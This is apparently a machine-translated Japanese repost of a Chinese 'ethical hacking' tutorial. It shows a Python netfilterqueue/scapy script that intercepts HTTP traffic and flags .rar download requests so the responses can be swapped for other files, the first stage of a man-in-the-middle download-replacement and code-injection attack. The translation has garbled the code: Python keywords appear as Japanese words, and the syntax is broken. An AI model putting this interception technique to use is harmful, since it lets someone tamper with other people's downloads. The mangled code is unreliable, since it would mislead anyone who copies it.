Pythonの倫理的ハッキング - HTTP層のデータを変更します

HTTP層のデータを変更します

 

  • リクエスト/レスポンスを編集します。
  • ダウンロード要求を交換してください。
  • コードを挿入(HTML / Javascriptを)

フライ上のHTTP要求の変更:

!は/ usr / binに/ envをパイソン

から netfilterqueue 輸入NetfilterQueue
 から scapy.layers.inetのインポートIP、TCP
 から scapy.packetの輸入原材料

ack_list = [] 


DEF process_packet(パケット):
    scapy_packet = IP(packet.get_payload())
    印刷(scapy_packet.show())
    であれば scapy_packet.haslayer(TCP)scapy_packet.haslayer(生):
         もし == 80 .dport scapy_packet [TCP] :印刷( "HTTPリクエスト")
            であれば ".RAR "  scapy_packet [RAW] .load.decode():
                 プリント" [+] RAR要求
                ack_list.append(scapy_packet [TCP] .ack)
                プリント(scapy_packet.show())
         のelif scapy_packet [TCP]。スポーツ== 80 もし scapy_packet [TCP] .SEQ ack_list:
                ack_list.remove(scapy_packet [TCP] .SEQ)
                プリント" [+]交換ファイル" #の印刷( "HTTP応答")
                プリント(scapy_packet.show( ))

    packet.accept()


キュー = NetfilterQueue()
queue.bind(0、process_packet)
してみてください
    queue.run()
を除くKeyboardInterrupt:
     プリント'' 

HTTPのウェブサイトを参照し、.RARファイルをダウンロードしてください。

 

おすすめ

転載: www.cnblogs.com/keepmoving1113/p/11461890.html